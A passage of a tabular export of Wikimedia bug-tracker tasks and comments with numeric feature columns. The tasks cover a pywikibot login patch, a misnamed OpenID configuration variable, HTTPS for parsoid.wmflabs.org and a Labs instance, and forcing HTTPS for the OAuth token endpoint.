Instead of having to add usernames['wikipedia']['*'] = '..'; usernames['wikisource']['*'] = '..'; to user-config.py etc etc for every family in the matrix of the global account.

If a account is logged into it.wp using an entry in user-config.py, and the bot visits en.wikipedia, the bot *is* logged in, as they have a unified account, and the cookie logs them in, and api.py automatically populates userinfo with the username.

That works wonderfully, and doesnt need this patch.

I am guessing this patch is about when there is a 'problem' with the existing login, which might be because of site.py tripping over itself (the login code is a mess), or maybe the server asking the account to login again.

If the password_file contains simple two-part matching entry for the username in siteinfo, the re-login will be automatic.  i.e. (bot_username, bot_password) ; not (family, username, password) or other options.

I would like to hear more about how this patch helps, but it does appear useful in limited but crucial circumstances.",,,1411028272,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-4ziao6as6e62byuywdss,task_subcomment,,True,c2,3,True,,,55,True,0.3333333333333333,0.0,0.0,0.3333333333333333,0.3333333333333333,4.333333333333333,1.6666666666666667,0.3333333333333333,0.0,0.6666666666666666,3.3333333333333335,4.666666666666667,0.0,0.0,0.3333333333333333,1.0,0.0,3.3333333333333335,9.666666666666666,0.0,1.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,0.6666666666666666,0.6666666666666666,7.0,1.0,0.6666666666666666,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.6666666666666666,0.3333333333333333,0.0,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,15.666666666666666,0.3333333333333333,1.0,0.3333333333333333,0.6666666666666666,0.3333333333333333,0.0,0.0,0.0,1.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,7.333333333333333,3.3333333333333335,3.0,1.6666666666666667,3.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.6666666666666666,0.0,2.3333333333333335,9.666666666666666,1.0,0.0,4.666666666666667,0.0,2.3333333333333335,0.0,1.3333333333333333,2.0,0.6666666666666666,2.3333333333333335,0.3333333333333333,0.0,3.3333333333333335,3.8495934959349594,0.670731707317073,"The is an interesting approach which I am guessing solves part of the 'SUL' problem.

Instead of having to add usernames['wikipedia']['*'] = '..'; usernames['wikisource']['*'] = '..'; to user-config.py etc etc for every family in the matrix of the global account.

If a account is logged into it.wp using an entry in user-config.py, and the bot visits en.wikipedia, the bot *is* logged in, as they have a unified account, and the cookie logs them in, and api.py automatically populates userinfo with the username.

That works wonderfully, and doesnt need this patch.

I am guessing this patch is about when there is a 'problem' with the existing login, which might be because of site.py tripping over itself (the login code is a mess), or maybe the server asking the account to login again.

If the password_file contains simple two-part matching entry for the username in siteinfo, the re-login will be automatic.  i.e. (bot_username, bot_password) ; not (family, username, password) or other options.

I would like to hear more about how this patch helps, but it does appear useful in limited but crucial circumstances."
254556,"When loging in to a site, try the site-configured username if any",The patch does not appear to solve anything: site.userinfo holds information about the currently logged-in user.,,,1406115108,,PHID-USER-je4a7kqdfgacwkyhtg4c,False,,,PHID-TASK-4ziao6as6e62byuywdss,task_subcomment,,True,c2,3,False,,,47,True,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,15.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,15.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.85,1.0,The patch does not appear to solve anything: site.userinfo holds information about the currently logged-in user.
254550,"When loging in to a site, try the site-configured username if any","[No attachment in Gerrit, hence resetting status and adding keyword. See https://bugzilla.wikimedia.org/describekeywords.cgi and https://www.mediawiki.org/wiki/Bug_management/Bug_report_life_cycle for more information.]",,,1385945717,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-4ziao6as6e62byuywdss,task_subcomment,,True,c2,3,True,,,13,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,9.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,9.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,5.0,0.0,5.0,4.136363636363637,0.8636363636363636,"[No attachment in Gerrit, hence resetting status and adding keyword. See URL and URL for more information.]"
254545,"When loging in to a site, try the site-configured username if any","Created attachment 13369
Copy of attachment from http://sourceforge.net/p/pywikipediabot/patches/621/attachment/login-site-username.diff

**Attached**: {F11875}",,,1380061240,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-4ziao6as6e62byuywdss,task_subcomment,,True,c2,3,False,,,3,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6315789473684212,0.7894736842105263,"Created attachment 13369
Copy of attachment from URL

**Attached**: {F11875}"
56506,$wgHideOpenIDLoginLink was not completely renamed to $wgOpenIDHideOpenIDLoginLink,"Grepping through the code shows no use of this variable outside of its declaration. It certainly doesn't remove the login link.

--------------------------
**Version**: master
**Severity**: normal",Needs Triage,90.0,1380039540,1380787161.0,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,False,PHID-TASK-pg6hplevt4uggtbvxhs4,task_description,resolved,True,c2,3,True,False,True,3,True,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,10.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.142857142857143,0.7142857142857143,"Grepping through the code shows no use of this variable outside of its declaration. It certainly doesn't remove the login link.

--------------------------
**Version**: master
**Severity**: normal"
258234,$wgHideOpenIDLoginLink was not completely renamed to $wgOpenIDHideOpenIDLoginLink,"http://www.mediawiki.org/wiki/Gerrit/Commit_message_guidelines :
added there ""No text must follow the bugnumber. """,,,1380811269,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-pg6hplevt4uggtbvxhs4,task_subcomment,,True,c2,3,False,,,5,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2857142857142856,0.9285714285714286,"URL :
added there ""No text must follow the bugnumber. """
258224,$wgHideOpenIDLoginLink was not completely renamed to $wgOpenIDHideOpenIDLoginLink,"(In reply to comment #5)
> solved with https://gerrit.wikimedia.org/r/#/c/87321/ (why is gerrit not
> adding this information any more ?)

Because you did not follow http://www.mediawiki.org/wiki/Gerrit/Commit_message_guidelines",,,1380810506,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-pg6hplevt4uggtbvxhs4,task_subcomment,,True,c2,3,True,,,5,True,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,16.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,11.0,0.0,5.0,0.0,5.0,16.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1052631578947367,0.8947368421052632,"(In reply to comment #5)
QUOTE
QUOTE

Because you did not follow URL"
258216,$wgHideOpenIDLoginLink was not completely renamed to $wgOpenIDHideOpenIDLoginLink,solved with https://gerrit.wikimedia.org/r/#/c/87321/ (why is gerrit not adding this information any more ?),,,1380787415,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-pg6hplevt4uggtbvxhs4,task_subcomment,,True,c2,3,False,,,5,True,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,7.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,7.0,0.0,0.0,3.8666666666666667,1.0,solved with URL (why is gerrit not adding this information any more ?)
258209,$wgHideOpenIDLoginLink was not completely renamed to $wgOpenIDHideOpenIDLoginLink,"fixed, tested, merged, closed",,,1380787161,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-pg6hplevt4uggtbvxhs4,task_subcomment,,True,c2,3,False,,,5,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7142857142857144,0.7142857142857143,"fixed, tested, merged, closed"
258199,$wgHideOpenIDLoginLink was not completely renamed to $wgOpenIDHideOpenIDLoginLink,"The bug is still a bug, it's not invalid. If the name should be $wgHideOpenIDLoginLink, then that should be listed in OpenID.php and $wgOpenIDHideOpenIDLoginLink shouldn't be. And if the name should be $wgOpenIDHideOpenIDLoginLink, then $wgHideOpenIDLoginLink needs to be replaced in the code and the documentation.",,,1380208123,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-pg6hplevt4uggtbvxhs4,task_subcomment,,True,c2,3,True,,,4,True,0.0,0.0,0.0,4.0,4.0,2.0,2.0,0.0,0.0,4.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,16.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,7.0,4.0,5.0,12.0,0.0,0.0,0.0,0.0,9.0,0.0,2.0,0.0,2.0,9.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.754385964912281,0.5789473684210527,"The bug is still a bug, it's not invalid. If the name should be $wgHideOpenIDLoginLink, then that should be listed in OpenID.php and $wgOpenIDHideOpenIDLoginLink shouldn't be. And if the name should be $wgOpenIDHideOpenIDLoginLink, then $wgHideOpenIDLoginLink needs to be replaced in the code and the documentation."
258193,$wgHideOpenIDLoginLink was not completely renamed to $wgOpenIDHideOpenIDLoginLink,"Thanks for reporting.

All OpenID parameter names should have the form $wgOpenID...... 

It appears, that the renaming of this specific variable has been overlooked in the past. I will fix this begin of October.

Sorry for the inconvenience.",,,1380173514,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-pg6hplevt4uggtbvxhs4,task_subcomment,,True,c2,3,False,,,4,True,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,12.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,19.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,15.0,2.0,0.0,15.0,0.0,0.0,0.0,0.0,4.0,2.0,2.0,0.0,4.0,12.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.291666666666667,0.7708333333333334,"Thanks for reporting.

All OpenID parameter names should have the form $wgOpenID...... 

It appears, that the renaming of this specific variable has been overlooked in the past. I will fix this begin of October.

Sorry for the inconvenience."
258187,$wgHideOpenIDLoginLink was not completely renamed to $wgOpenIDHideOpenIDLoginLink,It looks like the name was changed to $wgHideOpenIDLoginLink. Setting $wgHideOpenIDLoginLink=true hides the link correctly. https://www.mediawiki.org/wiki/Extension:OpenID#Configuration references the correct name.,,,1380152673,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-pg6hplevt4uggtbvxhs4,task_subcomment,,True,c2,3,True,,,4,True,0.0,0.0,0.0,4.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,4.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,5.074074074074074,0.7407407407407407,It looks like the name was changed to $wgHideOpenIDLoginLink. Setting $wgHideOpenIDLoginLink=true hides the link correctly. URL references the correct name.
56192,HTTPS for parsoid.wmflabs.org,"Please enable HTTPS on parsoid.wmflabs.org. Unsure if it needs it's own certificate or if there is one for *.wmflabs.org.

It recently had CORS enabled so users can write custom scripts to access parsoid, however they'll face mixed content blocking issues since HTTPS doesn't work yet.

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: https://parsoid.wmflabs.org",Needs Triage,90.0,1379372700,1379381762.0,PHID-USER-v7vgzvvcw7v2umf737ri,False,,False,PHID-TASK-vxs4woelidzvvd7myz2d,task_description,resolved,True,c2,3,False,False,True,2,True,0.0,0.0,0.0,0.0,1.0,5.0,0.0,0.0,0.0,2.0,1.0,2.0,0.0,0.0,1.0,0.0,0.0,5.0,9.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,1.0,5.0,0.0,4.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,12.0,5.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,1.0,0.0,5.0,9.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,4.075,0.7125,"Please enable HTTPS on parsoid.wmflabs.org. Unsure if it needs it's own certificate or if there is one for *.wmflabs.org.

It recently had CORS enabled so users can write custom scripts to access parsoid, however they'll face mixed content blocking issues since HTTPS doesn't work yet.

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: URL"
239598,HTTPS for parsoid.wmflabs.org,"As we have other ports in use (http://parsoid.wmflabs.org:8001/ for example) just changing the DNS does not work so well for us. Instead, we used iptables to DNAT port 443 to the proxy.",,,1379381752,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-vxs4woelidzvvd7myz2d,task_subcomment,,True,c2,3,False,,,2,True,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,14.0,16.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,14.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,8.0,16.0,3.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.3783783783783785,0.8648648648648649,"As we have other ports in use (URL for example) just changing the DNS does not work so well for us. Instead, we used iptables to DNAT port 443 to the proxy."
239596,HTTPS for parsoid.wmflabs.org,Because parsoid needs more features than what labsproxy provides,,,1379375340,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-vxs4woelidzvvd7myz2d,task_subcomment,,True,c2,3,True,,,2,True,0.0,0.0,0.0,0.0,0.0,22.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,11.0,0.0,0.0,6.222222222222222,1.0,Because parsoid needs more features than what labsproxy provides
239593,HTTPS for parsoid.wmflabs.org,"https://parsoid.wmflabs.org/ exists now, thanks to the dynamic proxy :)",,,1379373679,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-vxs4woelidzvvd7myz2d,task_subcomment,,True,c2,3,True,,,2,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8,1.0,"URL exists now, thanks to the dynamic proxy :)"
239589,HTTPS for parsoid.wmflabs.org,There's the dynamic labsproxy that does HTTPS (and there's a *.wmflabs.org certificate for it). I can setup the proxy for the guys if they want me to.,,,1379372969,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-vxs4woelidzvvd7myz2d,task_subcomment,,True,c2,3,True,,,2,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,12.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,12.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,12.0,0.0,9.0,3.0,3.0,12.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,3.6470588235294117,0.8529411764705882,There's the dynamic labsproxy that does HTTPS (and there's a *.wmflabs.org certificate for it). I can setup the proxy for the guys if they want me to.
56110,Force HTTPS for /token if the Consumer is not using an RSA key,"We currently don't require HTTPS for the consumer to get the authorization token. The auth token's secret is combined with the consumer's secret for an HMAC signature, so part of the signing key would be known to an attacker if they can sniff this traffic.

rfc5849 - 2.3 says that:

   Since the request results in the transmission of plain text
   credentials in the HTTP response, the server MUST require the use of
   a transport-layer mechanism such as TLS or SSL (or a secure channel
   with equivalent protections).

However, if the Consumer is using an RSA key, then the authorization token's secret isn't used, so the security isn't affected by not using SSL for the /token call.

--------------------------
**Version**: master
**Severity**: normal",Needs Triage,90.0,1379118240,1380551043.0,PHID-USER-doeppszazlm3r7xah4il,False,,False,PHID-TASK-eltc3unjgxsy26lpygu6,task_description,resolved,True,c2,3,True,False,True,2,True,0.0,0.0,0.0,2.0,2.5,3.5,0.0,0.0,0.0,1.0,2.0,1.5,0.0,0.0,0.0,0.5,0.0,4.0,11.0,0.0,0.5,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,4.0,0.5,0.0,0.5,0.0,0.0,0.0,0.5,1.5,0.0,0.5,0.0,4.0,0.5,0.0,0.0,0.0,0.0,15.5,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.5,0.0,0.0,0.0,10.5,3.0,8.5,3.0,1.0,11.0,0.0,0.0,0.0,0.0,2.5,0.0,0.5,0.0,1.0,11.0,6.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,4.0375,0.725,"We currently don't require HTTPS for the consumer to get the authorization token. The auth token's secret is combined with the consumer's secret for an HMAC signature, so part of the signing key would be known to an attacker if they can sniff this traffic.

rfc5849 - 2.3 says that:

   Since the request results in the transmission of plain text
   credentials in the HTTP response, the server MUST require the use of
   a transport-layer mechanism such as TLS or SSL (or a secure channel
   with equivalent protections).

However, if the Consumer is using an RSA key, then the authorization token's secret isn't used, so the security isn't affected by not using SSL for the /token call.

--------------------------
**Version**: master
**Severity**: normal"
258987,Force HTTPS for /token if the Consumer is not using an RSA key,"Change 85218 merged by jenkins-bot:
Use HTTPS for Special:MWOAuth/token

https://gerrit.wikimedia.org/r/85218",,,1380396294,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-eltc3unjgxsy26lpygu6,task_subcomment,,True,c2,3,False,,,4,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,32.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,11.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.9473684210526315,"Change 85218 merged by jenkins-bot:
Use HTTPS for Special:MWOAuth/token

GERRIT_URL"
258984,Force HTTPS for /token if the Consumer is not using an RSA key,"Change 85218 had a related patch set uploaded by Anomie:
Use HTTPS for Special:MWOAuth/token

https://gerrit.wikimedia.org/r/85218",,,1379691008,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-eltc3unjgxsy26lpygu6,task_subcomment,,True,c2,3,False,,,3,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,32.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.181818181818182,0.9545454545454546,"Change 85218 had a related patch set uploaded by Anomie:
Use HTTPS for Special:MWOAuth/token

GERRIT_URL"
258980,Force HTTPS for /token if the Consumer is not using an RSA key,"(In reply to comment #0)
> However, if the Consumer is using an RSA key, then the authorization token's
> secret isn't used, so the security isn't affected by not using SSL for the
> /token call.

What about the token credentials returned in the response? Those are still plain text.",,,1379690874,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-eltc3unjgxsy26lpygu6,task_subcomment,,True,c2,3,True,,,3,True,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,13.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,19.0,0.0,0.0,10.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,13.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6451612903225805,0.8387096774193549,"(In reply to comment #0)
QUOTE
QUOTE
QUOTE

What about the token credentials returned in the response? Those are still plain text."
56065,Enable HTTPS on a Labs instance,"We switched to Labs hoping that it would bring us HTTPS, but apparently not.

I created an instance with this enabled:
- role::lamp::labs
- certificates::star_wmflabs_org

But Firefox says ""Unable to connect"": https://i-000008da.pmtpa-proxy.wmflabs.org

Am I missing something? What should I do to allow visitors to connect via SSL?

--------------------------
**Version**: unspecified
**Severity**: major
**See Also**:
